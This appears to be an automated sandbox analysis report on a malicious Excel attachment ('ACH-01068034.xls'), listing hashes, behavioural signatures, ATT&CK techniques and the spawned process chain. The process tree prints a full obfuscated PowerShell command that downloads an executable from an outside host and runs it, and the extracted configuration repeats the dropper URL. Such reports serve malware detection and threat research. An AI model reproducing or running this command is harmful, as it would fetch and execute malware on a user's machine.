Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    14-10-2021 08:11

General

  • Target

    ACH-01068034.xls

  • Size

    74KB

  • MD5

    61cad3efd5f03b11b513cf54c6b2122b

  • SHA1

    5b5584f7798f33d6bab0c37755f3fe62672b48f7

  • SHA256

    c0c93f169cabc35bbaac637c0dd6c21112752398c42b3c828d78d9cc4de2eaed

  • SHA512

    56b2e055a0dc3a9ba009a5c46839f8882959c024886f47b1493ba0204b25311b3e4612bf3ef44758231c6297fcd8dc5ca7aba43a347cbd2f7e793abb4a33be31

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://greenpayindia.com/wp-conternt/ConsoleApp18.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ACH-01068034.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:612
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\travelespecially.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:324
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://greenpayindia.com/wp-conternt/ConsoleApp18.e`xe -Destination C:\Users\Public\Documents\brotherneed.e`xe;C:\Users\Public\Documents\brotherneed.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1508

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\Documents\travelespecially.cmd
    MD5

    5ea928ce876726d313001f5cbd14bc65

    SHA1

    b259839789c490d08af262d9217eddf2bfa93060

    SHA256

    6c6f74c6249e442097918f128fa0680d53504fabf1f31198ed9c4d5de3364e0f

    SHA512

    f8bceb21b86176edd8a917b000edcf2c6458e175c75ca546933caada1b6f436dd1e0a269c0989b45da5a9b48821bd97bb5db86b122e922fc8ae551b860cd2421

  • memory/324-56-0x0000000000000000-mapping.dmp
  • memory/612-53-0x000000002F711000-0x000000002F714000-memory.dmp
    Filesize

    12KB

  • memory/612-54-0x0000000071B11000-0x0000000071B13000-memory.dmp
    Filesize

    8KB

  • memory/612-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/612-63-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1508-58-0x0000000000000000-mapping.dmp
  • memory/1508-59-0x0000000075651000-0x0000000075653000-memory.dmp
    Filesize

    8KB

  • memory/1508-60-0x00000000024D0000-0x000000000311A000-memory.dmp
    Filesize

    12.3MB

  • memory/1508-62-0x00000000024D0000-0x000000000311A000-memory.dmp
    Filesize

    12.3MB

  • memory/1508-61-0x00000000024D0000-0x000000000311A000-memory.dmp
    Filesize

    12.3MB